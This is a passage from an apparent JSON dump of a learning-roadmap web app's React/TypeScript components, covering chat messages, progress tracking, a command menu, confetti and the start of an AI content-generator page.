=> {\n      const roadmapTreeItem = roadmapTreeData?.find(\n        (mapping) => mapping.nodeId === item.topicId,\n      );\n\n      return {\n        ...item,\n        text: (roadmapTreeItem?.text || item.topicId)\n          ?.split(' > ')\n          .slice(1)\n          .join(' > '),\n      };\n    });\n  }, [topicListItems, roadmapTreeData]);\n\n  return (\n    <div className=\"relative my-6 flex flex-wrap gap-1 first:mt-0 last:mb-0\">\n      {progressItemWithText.map((item) => {\n        const labelParts = item.text.split(' > ').slice(-2);\n        const labelPartCount = labelParts.length;\n\n        const title = item.text.split(' > ').pop();\n        if (!title) {\n          return;\n        }\n\n        return (\n          <button\n            key={item.topicId}\n            className=\"collapse-if-empty flex items-center gap-1 rounded-lg border border-gray-200 bg-white p-1 px-2 text-left text-sm hover:bg-gray-50\"\n            onClick={() => {\n              if (!title) {\n                return;\n              }\n\n              onTopicClick?.(item.topicId, title);\n            }}\n          >\n            {labelParts.map((part, index) => {\n              return (\n                <Fragment key={index}>\n                  <span>{part}</span>\n                  {index < labelPartCount - 1 && (\n                    <ChevronRightIcon\n                      className=\"size-3 text-gray-400\"\n                      strokeWidth={2.5}\n                    />\n                  )}\n                </Fragment>\n              );\n            })}\n          </button>\n        );\n      })}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/ChatMessages/ShareResourceLink.tsx",
    "content": "import { ShareIcon } from 'lucide-react';\nimport { useCopyText } from '../../hooks/use-copy-text';\nimport { cn } from '../../lib/classname';\nimport { useAuth } from '../../hooks/use-auth';\nimport { CheckIcon } from '../ReactIcons/CheckIcon';\n\ntype ShareResourceLinkProps = {\n  roadmapId: string;\n};\n\nexport function ShareResourceLink(props: ShareResourceLinkProps) {\n  const { roadmapId } = props;\n\n  const currentUser = useAuth();\n  const { copyText, isCopied } = useCopyText();\n\n  const handleShareResourceLink = () => {\n    const url = `${import.meta.env.VITE_ASTRO_APP_URL}/${roadmapId}?s=${currentUser?.id}`;\n    copyText(url);\n  };\n\n  return (\n    <div className=\"relative my-6 flex flex-wrap gap-1 first:mt-0 last:mb-0\">\n      <button\n        className={cn(\n          'flex items-center gap-1.5 rounded-lg border border-gray-200 bg-white p-1 px-1.5 text-left text-sm',\n          isCopied && 'text-green-500',\n        )}\n        onClick={handleShareResourceLink}\n      >\n        {!isCopied && (\n          <>\n            <ShareIcon className=\"h-4 w-4\" />\n            Share Progress\n          </>\n        )}\n\n        {isCopied && (\n          <>\n            <CheckIcon additionalClasses=\"size-4\" />\n            Copied\n          </>\n        )}\n      </button>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/ChatMessages/TopicChatMessage.tsx",
    "content": "import { cn } from '../../lib/classname';\nimport { Markdown } from '../Global/Markdown';\nimport { BotIcon, User2Icon } from 'lucide-react';\nimport type { UIMessage } from 'ai';\nimport { promptLabelMapping } from '../TopicDetail/PredefinedActions';\n\ntype TopicChatMessageProps = {\n  message: UIMessage;\n};\n\nexport function TopicChatMessage(props: TopicChatMessageProps) {\n  const { message } = props;\n  const { role } = message;\n\n  return (\n    <div\n      className={cn(\n        'flex flex-col rounded-lg',\n        role === 'user' ? 'bg-gray-300/30' : 'bg-yellow-500/30',\n      )}\n    >\n      <div className=\"flex items-start gap-2.5 p-3\">\n        <div\n          className={cn(\n            'flex size-6 shrink-0 items-center justify-center rounded-full',\n            role === 'user'\n              ? 'bg-gray-200 text-black'\n              : 'bg-yellow-400 text-black',\n          )}\n        >\n          {role === 'user' ? (\n            <User2Icon className=\"size-4 stroke-[2.5]\" />\n          ) : (\n            <BotIcon className=\"size-4 stroke-[2.5]\" />\n          )}\n        </div>\n\n        <div>\n          {message.parts.map((part) => {\n            const { type } = part;\n            const key = `message-${message.id}-part-${type}`;\n\n            if (type === 'text') {\n              let content = part.text;\n              if (role === 'user' && promptLabelMapping[content]) {\n                content = promptLabelMapping[content];\n              }\n\n              return (\n                <Markdown\n                  key={key}\n                  className=\"prose prose-sm message-markdown max-w-full text-sm\"\n                >\n                  {content}\n                </Markdown>\n              );\n            }\n          })}\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/ChatMessages/TopicChatMessages.tsx",
    "content": "import type { ChatStatus, UIMessage } from 'ai';\nimport { TopicChatMessage } from './TopicChatMessage';\nimport { useIsThinking } from '../../hooks/use-is-thinking';\n\ntype TopicChatMessagesProps = {\n  messages: UIMessage[];\n  status: ChatStatus;\n};\n\nexport function TopicChatMessages(props: TopicChatMessagesProps) {\n  const { messages, status } = props;\n\n  const isThinking = useIsThinking(messages, status);\n\n  return (\n    <div className=\"absolute inset-0 flex flex-col\">\n      <div className=\"relative flex grow flex-col justify-end\">\n        <div className=\"flex flex-col justify-end gap-2 px-3 py-2\">\n          <TopicChatMessage\n            message={{\n              id: '__welcome_message__',\n              role: 'assistant',\n              parts: [\n                {\n                  type: 'text',\n                  text: 'Hey, I am your AI instructor. How can I help you today? 🤖',\n                },\n              ],\n            }}\n          />\n\n          {messages.map((message, index) => {\n            const isLastMessage = index === messages.length - 1;\n\n            // otherwise it will add an extra space at the end of the message\n            // because the last message is not rendered\n            if (isThinking && isLastMessage && message.role === 'assistant') {\n              return null;\n            }\n\n            return <TopicChatMessage key={message.id} message={message} />;\n          })}\n\n          {isThinking && (\n            <TopicChatMessage\n              message={{\n                id: '__thinking_message__',\n                role: 'assistant',\n                parts: [{ type: 'text', text: 'Thinking...' }],\n              }}\n            />\n          )}\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/ChatMessages/UserPrgressActionList.tsx",
    "content": "import { useMutation, useQuery } from '@tanstack/react-query';\nimport { ChevronRightIcon, Loader2Icon } from 'lucide-react';\nimport { CheckIcon } from '../ReactIcons/CheckIcon';\nimport { Fragment, useMemo, useState } from 'react';\nimport { roadmapTreeMappingOptions } from '../../queries/roadmap-tree';\nimport { queryClient } from '../../stores/query-client';\nimport { httpPost } from '../../lib/query-http';\nimport {\n  renderTopicProgress,\n  updateResourceProgress,\n  type ResourceProgressType,\n} from '../../lib/resource-progress';\nimport { userResourceProgressOptions } from '../../queries/resource-progress';\nimport { useToast } from '../../hooks/use-toast';\nimport { cn } from '../../lib/classname';\n\ntype UpdateUserProgress = {\n  id: string;\n  action: 'done' | 'learning' | 'skipped' | 'pending';\n};\n\nexport function parseUserProgress(content: string): UpdateUserProgress[] {\n  const items: UpdateUserProgress[] = [];\n\n  const progressRegex = /<update-progress-item>.*?<\\/update-progress-item>/gs;\n  const progressItems = content.match(progressRegex);\n  if (!progressItems) {\n    return items;\n  }\n\n  for (const progressItem of progressItems) {\n    const progressItemRegex = /<topic-id>(.*?)<\\/topic-id>/;\n    const topicId = progressItem.match(progressItemRegex)?.[1]?.trim();\n    const topicActionRegex = /<topic-action>(.*?)<\\/topic-action>/;\n    const topicAction = progressItem\n      .match(topicActionRegex)?.[1]\n      .trim()\n      ?.toLowerCase();\n\n    if (!topicId || !topicAction) {\n      continue;\n    }\n\n    items.push({\n      id: topicId,\n      action: topicAction as UpdateUserProgress['action'],\n    });\n  }\n\n  return items;\n}\n\ntype BulkUpdateResourceProgressBody = {\n  done: string[];\n  learning: string[];\n  skipped: string[];\n  pending: string[];\n};\n\ntype BulkUpdateResourceProgressResponse = {\n  done: string[];\n  learning: string[];\n  skipped: string[];\n};\n\ntype UserProgressActionListProps = {\n  roadmapId: string;\n  isLoading?: boolean;\n  updateUserProgress: UpdateUserProgress[];\n};\n\nexport function UserProgressActionList(props: UserProgressActionListProps) {\n  const { roadmapId, updateUserProgress, isLoading = false } = props;\n\n  const toast = useToast();\n  const { data: roadmapTreeData } = useQuery(\n    roadmapTreeMappingOptions(roadmapId),\n    queryClient,\n  );\n\n  const {\n    mutate: bulkUpdateResourceProgress,\n    isPending: isBulkUpdating,\n    isSuccess: isBulkUpdateSuccess,\n  } = useMutation(\n    {\n      mutationFn: (body: BulkUpdateResourceProgressBody) => {\n        return httpPost<BulkUpdateResourceProgressResponse>(\n          `/v1-bulk-update-resource-progress/${roadmapId}`,\n          body,\n        );\n      },\n      onSuccess: () => {\n        updateUserProgress.forEach((item) => {\n          renderTopicProgress(item.id, item.action);\n        });\n\n        return queryClient.invalidateQueries(\n          userResourceProgressOptions('roadmap', roadmapId),\n        );\n      },\n      onError: (error) => {\n        toast.error(\n          error?.message ?? 'Something went wrong, please try again.',\n        );\n      },\n    },\n    queryClient,\n  );\n\n  const progressItemWithText = useMemo(() => {\n    return updateUserProgress.map((item) => {\n      const roadmapTreeItem = roadmapTreeData?.find(\n        (mapping) => mapping.nodeId === item.id,\n      );\n\n      return {\n        ...item,\n        text: (roadmapTreeItem?.text || item.id)\n          ?.split(' > ')\n          .slice(1)\n          .join(' > '),\n      };\n    });\n  }, [updateUserProgress, roadmapTreeData]);\n\n  const [showAll, setShowAll] = useState(false);\n  const itemCountToShow = 4;\n  const itemsToShow = showAll\n    ? progressItemWithText\n    : progressItemWithText.slice(0, itemCountToShow);\n\n  const hasMoreItemsToShow = progressItemWithText.length > itemCountToShow;\n\n  return (\n    <div className=\"relative my-6 w-full first:mt-0 last:mb-0\">\n      <div className=\"relative flex flex-col gap-0.5\">\n        {itemsToShow.map((item) => (\n          <ProgressItem\n            key={item.id}\n            roadmapId={roadmapId}\n            topicId={item.id}\n            text={item.text}\n            action={item.action}\n            isStreaming={isLoading}\n            isBulkUpdating={isBulkUpdating}\n            isBulkUpdateSuccess={isBulkUpdateSuccess}\n          />\n        ))}\n\n        {hasMoreItemsToShow && (\n          <div className=\"relative mt-1 flex items-center justify-between gap-2\">\n            <button\n              className=\"z-50 flex items-center gap-1 rounded-md bg-gray-400 px-2 py-1 text-xs font-medium text-white hover:opacity-80 disabled:cursor-not-allowed disabled:opacity-70\"\n              onClick={() => setShowAll(!showAll)}\n              disabled={isLoading}\n            >\n              {isLoading && (\n                <>\n                  <Loader2Icon className=\"size-3 animate-spin\" />\n                  {progressItemWithText.length} loaded ..\n                </>\n              )}\n\n              {!isLoading && (\n                <>\n                  {showAll\n                    ? '- Show Less'\n                    : `+ Show ${progressItemWithText.length - itemCountToShow} More`}\n                </>\n              )}\n            </button>\n\n            <button\n              className=\"z-50 flex items-center gap-1 rounded-md bg-green-600 px-2 py-1 text-xs font-medium text-white hover:bg-green-700 disabled:pointer-events-none disabled:cursor-not-allowed disabled:opacity-70\"\n              disabled={isBulkUpdating || isLoading || isBulkUpdateSuccess}\n              onClick={() => {\n                const done = updateUserProgress\n                  .filter((item) => item.action === 'done')\n                  .map((item) => item.id);\n                const learning = updateUserProgress\n                  .filter((item) => item.action === 'learning')\n                  .map((item) => item.id);\n                const skipped = updateUserProgress\n                  .filter((item) => item.action === 'skipped')\n                  .map((item) => item.id);\n                const pending = updateUserProgress\n                  .filter((item) => item.action === 'pending')\n                  .map((item) => item.id);\n\n                bulkUpdateResourceProgress({\n                  done,\n                  learning,\n                  skipped,\n                  pending,\n                });\n              }}\n            >\n              {isBulkUpdating && (\n                <Loader2Icon className=\"size-3 animate-spin\" />\n              )}\n              {!isBulkUpdating && <CheckIcon additionalClasses=\"size-3\" />}\n              Apply All\n            </button>\n          </div>\n        )}\n      </div>\n    </div>\n  );\n}\n\ntype ProgressItemProps = {\n  roadmapId: string;\n  topicId: string;\n  text: string;\n  action: UpdateUserProgress['action'];\n  isStreaming: boolean;\n  isBulkUpdating: boolean;\n  isBulkUpdateSuccess: boolean;\n};\n\nfunction ProgressItem(props: ProgressItemProps) {\n  const {\n    roadmapId,\n    topicId,\n    text,\n    action,\n    isStreaming,\n    isBulkUpdating,\n    isBulkUpdateSuccess,\n  } = props;\n\n  const toast = useToast();\n  const {\n    mutate: updateTopicStatus,\n    isSuccess,\n    isPending: isUpdating,\n  } = useMutation(\n    {\n      mutationFn: (action: ResourceProgressType) => {\n        return updateResourceProgress(\n          {\n            resourceId: roadmapId,\n            resourceType: 'roadmap',\n            topicId,\n          },\n          action,\n        );\n      },\n      onMutate: () => {},\n      onSuccess: () => {\n        renderTopicProgress(topicId, action);\n      },\n      onError: () => {\n        toast.error('Something went wrong, please try again.');\n      },\n      onSettled: () => {\n        return queryClient.invalidateQueries(\n          userResourceProgressOptions('roadmap', roadmapId),\n        );\n      },\n    },\n    queryClient,\n  );\n\n  const textParts = text.split(' > ');\n  const lastIndex = textParts.length - 1;\n\n  return (\n    <div className=\"flex min-h-[40px] items-center justify-between gap-2 rounded-lg border border-gray-200 bg-white py-1 pr-1 pl-3\">\n      <span className=\"flex items-center gap-1 truncate text-sm text-gray-500\">\n        {textParts.map((part, index) => {\n          return (\n            <Fragment key={index}>\n              {part}\n              {index !== lastIndex && (\n                <span className=\"text-gray-500\">\n                  <ChevronRightIcon className=\"size-3 shrink-0\" />{' '}\n                </span>\n              )}\n            </Fragment>\n          );\n        })}\n      </span>\n      {!isSuccess && !isBulkUpdateSuccess && (\n        <>\n          {!isStreaming && (\n            <button\n              className={cn(\n                `flex shrink-0 items-center gap-1.5 rounded-md border border-gray-200 px-2 py-1 text-xs disabled:pointer-events-none disabled:opacity-40`,\n                {\n                  'bg-green-100 hover:border-green-300 hover:bg-green-200':\n                    action === 'done',\n                  'bg-yellow-100 hover:border-yellow-300 hover:bg-yellow-200':\n                    action === 'learning',\n                  'bg-gray-800 text-white hover:border-black hover:bg-black':\n                    action === 'skipped',\n                  'bg-gray-100 hover:border-gray-300 hover:bg-gray-200':\n                    action === 'pending',\n                },\n              )}\n              onClick={() => updateTopicStatus(action)}\n              disabled={isStreaming || isUpdating || isBulkUpdating}\n            >\n              {(isUpdating || isBulkUpdating) && (\n                <Loader2Icon className=\"size-4 animate-spin\" />\n              )}\n              {!isUpdating && !isBulkUpdating && (\n                <>\n                  <CheckIcon additionalClasses=\"size-3\" />\n                  Mark it as {action}\n                </>\n              )}\n            </button>\n          )}\n          {isStreaming && (\n            <span className=\"flex size-[30px] items-center justify-center text-gray-300\">\n              <Loader2Icon className=\"size-4 animate-spin\" />\n            </span>\n          )}\n        </>\n      )}\n      {(isSuccess || isBulkUpdateSuccess) && (\n        <span className=\"flex size-[30px] items-center justify-center text-green-500\">\n          <CheckIcon additionalClasses=\"size-4\" />\n        </span>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/ChatMessages/UserProgressList.tsx",
    "content": "import { useQuery } from '@tanstack/react-query';\nimport { getPercentage } from '../../lib/number';\nimport { userResourceProgressOptions } from '../../queries/resource-progress';\nimport { queryClient } from '../../stores/query-client';\n\ntype RoadmapChatUserProgressListProps = {\n  roadmapId: string;\n};\n\nexport function RoadmapChatUserProgressList(\n  props: RoadmapChatUserProgressListProps,\n) {\n  const { roadmapId } = props;\n\n  const { data: userResourceProgressData } = useQuery(\n    userResourceProgressOptions('roadmap', roadmapId),\n    queryClient,\n  );\n\n  const doneCount = userResourceProgressData?.done?.length ?? 0;\n  const skippedCount = userResourceProgressData?.skipped?.length ?? 0;\n\n  const totalTopicCount = userResourceProgressData?.totalTopicCount ?? 0;\n  const totalFinished = doneCount + skippedCount;\n  const progressPercentage = getPercentage(totalFinished, totalTopicCount);\n\n  return (\n    <div className=\"relative my-6 flex flex-col gap-3 rounded-xl border border-gray-200 bg-white p-4 first:mt-0 last:mb-0\">\n      <div className=\"flex items-center justify-between\">\n        <div className=\"flex items-center gap-2\">\n          <span className=\"text-sm font-medium text-gray-600\">Progress</span>\n          <span className=\"rounded-full bg-gray-100 px-2 py-0.5 text-xs font-medium text-gray-700\">\n            {progressPercentage}%\n          </span>\n        </div>\n        <span className=\"hidden text-sm font-medium text-gray-600 md:block\">\n          {totalFinished} / {totalTopicCount} topics\n        </span>\n      </div>\n\n      <div className=\"relative h-2 w-full overflow-hidden rounded-full bg-gray-100\">\n        <div\n          className=\"absolute inset-0 bg-gradient-to-r from-green-500 to-green-600 transition-all duration-300\"\n          style={{ width: `${progressPercentage}%` }}\n        />\n      </div>\n\n      <div className=\"flex items-center gap-4 text-xs text-gray-500\">\n        <div className=\"flex items-center gap-1\">\n          <div className=\"h-2 w-2 rounded-full bg-green-500\" />\n          <span>Completed: {doneCount}</span>\n        </div>\n        <div className=\"flex items-center gap-1\">\n          <div className=\"h-2 w-2 rounded-full bg-gray-400\" />\n          <span>Skipped: {skippedCount}</span>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/CommandMenu/CommandMenu.tsx",
    "content": "import {\n  Fragment,\n  type ReactElement,\n  useEffect,\n  useRef,\n  useState,\n} from 'react';\nimport { useKeydown } from '../../hooks/use-keydown';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\nimport { httpGet } from '../../lib/http';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { BestPracticesIcon } from '../ReactIcons/BestPracticesIcon.tsx';\nimport { UserIcon } from '../ReactIcons/UserIcon.tsx';\nimport { GroupIcon } from '../ReactIcons/GroupIcon.tsx';\nimport { RoadmapIcon } from '../ReactIcons/RoadmapIcon.tsx';\nimport { ClipboardIcon } from '../ReactIcons/ClipboardIcon.tsx';\nimport { GuideIcon } from '../ReactIcons/GuideIcon.tsx';\nimport { HomeIcon } from '../ReactIcons/HomeIcon.tsx';\nimport { VideoIcon } from '../ReactIcons/VideoIcon.tsx';\nimport { cn } from '../../lib/classname.ts';\nimport type { AllowedRoadmapRenderer } from '../../lib/roadmap.ts';\n\nexport type PageType = {\n  id: string;\n  url: string;\n  title: string;\n  group: string;\n  icon?: ReactElement;\n  isProtected?: boolean;\n  metadata?: Record<string, any>;\n  renderer?: AllowedRoadmapRenderer;\n};\n\nconst defaultPages: PageType[] = [\n  {\n    id: 'home',\n    url: '/',\n    title: 'Home',\n    group: 'Pages',\n    icon: <HomeIcon className=\"mr-2 h-4 w-4 stroke-2\" />,\n  },\n  {\n    id: 'account',\n    url: '/account',\n    title: 'Account',\n    group: 'Pages',\n    icon: <UserIcon className=\"mr-2 h-4 w-4 stroke-2\" />,\n    isProtected: true,\n  },\n  {\n    id: 'team',\n    url: '/team',\n    title: 'Teams',\n    group: 'Pages',\n    icon: <GroupIcon className=\"mr-2 h-4 w-4 stroke-2\" />,\n    isProtected: true,\n  },\n  {\n    id: 'friends',\n    url: '/account/friends',\n    title: 'Friends',\n    group: 'Pages',\n    icon: <GroupIcon className=\"mr-2 h-4 w-4 stroke-2\" />,\n    isProtected: true,\n  },\n  {\n    id: 'roadmaps',\n    url: '/roadmaps',\n    title: 'Roadmaps',\n    group: 'Pages',\n    icon: <RoadmapIcon className=\"mr-2 h-4 w-4 stroke-2\" />,\n  },\n  {\n    id: 'account-roadmaps',\n    url: '/account/roadmaps',\n    title: 'Custom Roadmaps',\n    group: 'Pages',\n    icon: <RoadmapIcon className=\"mr-2 h-4 w-4 stroke-2\" />,\n    isProtected: true,\n  },\n  {\n    id: 'questions',\n    url: '/questions',\n    title: 'Questions',\n    group: 'Pages',\n    icon: <ClipboardIcon className=\"mr-2 h-4 w-4 stroke-2\" />,\n  },\n  {\n    id: 'guides',\n    url: '/guides',\n    title: 'Guides',\n    group: 'Pages',\n    icon: <GuideIcon className=\"mr-2 h-4 w-4 stroke-2\" />,\n  },\n  {\n    id: 'videos',\n    url: '/videos',\n    title: 'Videos',\n    group: 'Pages',\n    icon: <VideoIcon className=\"mr-2 h-4 w-4 stroke-2\" />,\n  },\n];\n\nfunction shouldShowPage(page: PageType) {\n  const isUser = isLoggedIn();\n\n  return !page.isProtected || isUser;\n}\n\nexport function CommandMenu() {\n  const inputRef = useRef<HTMLInputElement>(null);\n  const modalRef = useRef<HTMLInputElement>(null);\n  const [isActive, setIsActive] = useState(false);\n  const [allPages, setAllPages] = useState<PageType[]>([]);\n  const [searchResults, setSearchResults] = useState<PageType[]>(defaultPages);\n  const [searchedText, setSearchedText] = useState('');\n  const [activeCounter, setActiveCounter] = useState(0);\n\n  useKeydown('mod_k', () => {\n    setIsActive(true);\n  });\n\n  useOutsideClick(modalRef, () => {\n    setSearchedText('');\n    setIsActive(false);\n  });\n\n  useEffect(() => {\n    function handleToggleTopic(e: any) {\n      setIsActive(true);\n    }\n\n    getAllPages();\n    window.addEventListener(`command.k`, handleToggleTopic);\n    return () => {\n      window.removeEventListener(`command.k`, handleToggleTopic);\n    };\n  }, []);\n\n  useEffect(() => {\n    if (!isActive || !inputRef.current) {\n      return;\n    }\n\n    inputRef.current.focus();\n  }, [isActive]);\n\n  async function getAllPages() {\n    if (allPages.length > 0) {\n      return allPages;\n    }\n    const { error, response } = await httpGet<PageType[]>(`/pages.json`);\n    if (!response) {\n      return defaultPages.filter(shouldShowPage);\n    }\n\n    setAllPages([...defaultPages, ...response].filter(shouldShowPage));\n\n    return response;\n  }\n\n  useEffect(() => {\n    if (!searchedText) {\n      setSearchResults(defaultPages.filter(shouldShowPage));\n      return;\n    }\n\n    const normalizedSearchText = searchedText.trim().toLowerCase();\n    getAllPages().then((unfilteredPages = defaultPages) => {\n      const filteredPages = unfilteredPages\n        .filter((currPage: PageType) => {\n          return (\n            currPage.title.toLowerCase().indexOf(normalizedSearchText) !== -1\n          );\n        })\n        .slice(0, 10);\n\n      setActiveCounter(0);\n      setSearchResults(filteredPages);\n    });\n  }, [searchedText]);\n\n  if (!isActive) {\n    return null;\n  }\n\n  return (\n    <div className=\"fixed left-0 right-0 top-0 z-50 flex h-full justify-center overflow-y-auto overflow-x-hidden bg-black/50\">\n      <div className=\"relative top-0 h-full w-full max-w-lg p-2 sm:mt-20 md:h-auto\">\n        <div className=\"relative rounded-lg bg-white shadow-sm\" ref={modalRef}>\n          <input\n            ref={inputRef}\n            autoFocus={true}\n            type=\"text\"\n            value={searchedText}\n            className=\"w-full rounded-t-md border-b p-4 text-sm focus:bg-gray-50 focus:outline-hidden\"\n            placeholder=\"Search roadmaps, guides or pages ..\"\n            autoComplete=\"off\"\n            onInput={(e) => {\n              const value = (e.target as HTMLInputElement).value.trim();\n              setSearchedText(value);\n            }}\n            onKeyDown={(e) => {\n              if (e.key === 'ArrowDown') {\n                const canGoNext = activeCounter < searchResults.length - 1;\n                setActiveCounter(canGoNext ? activeCounter + 1 : 0);\n              } else if (e.key === 'ArrowUp') {\n                const canGoPrev = activeCounter > 0;\n                setActiveCounter(\n                  canGoPrev ? activeCounter - 1 : searchResults.length - 1,\n                );\n              } else if (e.key === 'Tab') {\n                e.preventDefault();\n              } else if (e.key === 'Escape') {\n                setSearchedText('');\n                setIsActive(false);\n              } else if (e.key === 'Enter') {\n                const activePage = searchResults[activeCounter];\n                if (activePage) {\n                  window.location.href = activePage.url;\n                }\n              }\n            }}\n          />\n\n          <div className=\"px-2 py-2\">\n            <div className=\"flex flex-col\">\n              {searchResults.length === 0 && (\n                <div className=\"p-5 text-center text-sm text-gray-400\">\n                  No results found\n                </div>\n              )}\n\n              {searchResults.map((page: PageType, counter: number) => {\n                const prevPage = searchResults[counter - 1];\n                const groupChanged = prevPage && prevPage.group !== page.group;\n\n                return (\n                  <Fragment key={page.group+'/'+page.id}>\n                    {groupChanged && (\n                      <div className=\"border-b border-gray-100\"></div>\n                    )}\n                    <a\n                      className={cn(\n                        'flex w-full items-center rounded-sm p-2 text-sm',\n                        counter === activeCounter ? 'bg-gray-100' : '',\n                      )}\n                      onMouseOver={() => setActiveCounter(counter)}\n                      href={page.url}\n                    >\n                      {!page.icon && (\n                        <span className=\"mr-2 text-gray-400\">{page.group}</span>\n                      )}\n                      {page.icon && page.icon}\n                      {page.title}\n                    </a>\n                  </Fragment>\n                );\n              })}\n            </div>\n          </div>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Confetti.tsx",
    "content": "import { useEffect, useState } from 'react';\nimport ReactConfetti from 'react-confetti';\n\ntype ConfettiPosition = {\n  x: number;\n  y: number;\n  w: number;\n  h: number;\n};\n\ntype ConfettiProps = {\n  pieces?: number;\n  element?: HTMLElement | null;\n  onDone?: () => void;\n};\n\nexport function Confetti(props: ConfettiProps) {\n  const { element = document.body, onDone = () => null, pieces = 40 } = props;\n\n  const [confettiPos, setConfettiPos] = useState<\n    undefined | ConfettiPosition\n  >();\n\n  function populateConfettiPosition(element: HTMLElement) {\n    const elRect = element.getBoundingClientRect();\n\n    // set confetti position, keeping in mind the scroll values\n    setConfettiPos({\n      x: elRect?.x || 0,\n      y: (elRect?.y || 0) + window.scrollY,\n      w: elRect?.width || 0,\n      h: elRect?.height || 0,\n    });\n  }\n\n  useEffect(() => {\n    if (!element) {\n      setConfettiPos(undefined);\n      return;\n    }\n\n    populateConfettiPosition(element);\n  }, [element]);\n\n  if (!confettiPos) {\n    return null;\n  }\n\n  return (\n    <ReactConfetti\n      height={document.body.scrollHeight}\n      numberOfPieces={pieces}\n      recycle={false}\n      onConfettiComplete={(confettiInstance) => {\n        setConfettiPos(undefined);\n        onDone();\n      }}\n      initialVelocityX={4}\n      initialVelocityY={8}\n      tweenDuration={10}\n      confettiSource={{\n        x: confettiPos.x,\n        y: confettiPos.y,\n        w: confettiPos.w,\n        h: confettiPos.h,\n      }}\n    />\n  );\n}\n"
  },
  {
    "path": "src/components/ContentGenerator/ContentGenerator.tsx",
    "content": "import {\n  BookOpenIcon,\n  FileTextIcon,\n  MapIcon,\n  SparklesIcon,\n  type LucideIcon,\n} from 'lucide-react';\nimport { useEffect, useId, useState } from 'react';\nimport { FormatItem } from './FormatItem';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { showLoginPopup } from '../../lib/popup';\nimport { UpgradeAccountModal } from '../Billing/UpgradeAccountModal';\nimport { useIsPaidUser } from '../../queries/billing';\nimport {\n  clearQuestionAnswerChatMessages,\n  storeQuestionAnswerChatMessages,\n} from '../../lib/ai-questions';\nimport {\n  QuestionAnswerChat,\n  type QuestionAnswerChatMessage,\n} from './QuestionAnswerChat';\nimport { useToast } from '../../hooks/use-toast';\nimport { cn } from '../../lib/classname';\nimport { getUrlParams, setUrlParams } from '../../lib/browser';\nimport { useParams } from '../../hooks/use-params';\nimport { useQuery } from '@tanstack/react-query';\nimport { aiLimitOptions } from '../../queries/ai-course';\nimport { queryClient } from '../../stores/query-client';\nimport { showUpgradeModal } from '../../stores/subscription';\n\nconst allowedFormats = ['course', 'guide', 'roadmap'] as const;\nexport type AllowedFormat = (typeof allowedFormats)[number];\n\nexport function ContentGenerator() {\n  const [isUpgradeModalOpen, setIsUpgradeModalOpen] = useState(false);\n  const { isPaidUser, isLoading: isPaidUserLoading } = useIsPaidUser();\n  const params = useParams<{ format: AllowedFormat }>();\n\n  const toast = useToast();\n  const [title, setTitle] = useState('');\n  const [selectedFormat, setSelectedFormat] = useState<AllowedFormat>('course');\n\n  const { data: limits, isLoading: isLimitLoading } = useQuery(\n    aiLimitOptions(),\n    queryClient,\n  );\n\n  useEffect(() => {\n    const isValidFormat = allowedFormats.find(\n      (format) => format.value === params.format,\n    );\n\n    if (isValidFormat) {\n      setSelectedFormat(isValidFormat.value);\n    } else {\n      setSelectedFormat('course');\n    }\n  }, [params.format]);\n\n  const [showFineTuneOptions, setShowFineTuneOptions] = useState(false);\n  const [questionAnswerChatMessages, setQuestionAnswerChatMessages] = useState<\n    QuestionAnswerChatMessage[]\n  >([]);\n\n  const titleFieldId = useId();\n  const fineTuneOptionsId = useId();\n\n  useEffect(() => {\n    const params = getUrlParams();\n    const format = params.format as AllowedFormat;\n    if (format && allowedFormats.find((f) => f.value === format)) {\n      setSelectedFormat(format);\n    }\n  }, []);\n\n  const allowedFormats: {\n    label: string;\n    icon: LucideIcon;\n    value: AllowedFormat;\n  }[] = [\n    {\n      label: 'Course',\n      icon: BookOpenIcon,\n      value: 'course',\n    },\n    {\n      label: 'Guide',\n      icon: FileTextIcon,\n      value: 'guide',\n    },\n    {\n      label: 'Roadmap',\n      icon: MapIcon,\n      value: 'roadmap',\n    },\n  ];\n\n  const selectedLimit = limits?.[selectedFormat];\n  const showLimitWarning =\n    !isPaidUser && !isPaidUserLoading && !isLimitLoading && isLoggedIn();\n\n  const handleSubmit = () => {\n    if (!isLoggedIn()) {\n      showLoginPopup();\n      return;\n    }\n\n    if (\n      !isPaidUser &&\n      selectedLimit &&\n      selectedLimit?.used >= selectedLimit?.limit\n    ) {\n      showUpgradeModal();\n      return;\n    }\n\n    let sessionId = '';\n    if (showFineTuneOptions) {\n      clearQuestionAnswerChatMessages();\n      sessionId = storeQuestionAnswerChatMessages(questionAnswerChatMessages);\n    }\n\n    const trimmedTitle = title.trim();\n    if (selectedFormat === 'course') {\n      window.location.href = `/ai/course?term=${encodeURIComponent(trimmedTitle)}&id=${sessionId}&format=${selectedFormat}`;\n    } else if (selectedFormat === 'guide') {\n      window.location.href = `/ai/guide?term=${encodeURIComponent(trimmedTitle)}&id=${sessionId}&format=${selectedFormat}`;\n    } else if (selectedFormat === 'roadmap') {\n      window.location.href = `/ai/roadmap?term=${encodeURIComponent(trimmedTitle)}&id=${sessionId}&format=${selectedFormat}`;\n    }\n  };\n\n  useEffect(() => {\n    window?.fireEvent({\n      action: 'tutor_user',\n      category: 'ai_tutor',\n      label: 'Visited AI Course Page',\n    });\n  }, []);\n\n  const trimmedTitle = title.trim();\n  const canGenerate = trimmedTitle && trimmedTitle.length >= 3;\n\n  return (\n    <div className=\"mx-auto flex w-full max-w-2xl flex-grow flex-col pt-4 md:justify-center md:pt-10 lg:pt-28 lg:pb-24\">\n      <div className=\"relative\">\n        {isUpgradeModalOpen && (\n          <UpgradeAccountModal onClose={() => setIsUpgradeModalOpen(false)} />\n        )}\n        {showLimitWarning && (\n          <div className=\"absolute bottom-full left-1/2 -translate-x-1/2 -translate-y-8 text-gray-500 max-md:hidden\">\n            {selectedLimit?.used} of {selectedLimit?.limit} {selectedFormat}s\n            <button\n              onClick={() => setIsUpgradeModalOpen(true)}\n              className=\"ml-2 rounded-xl bg-yellow-600 px-2 py-1 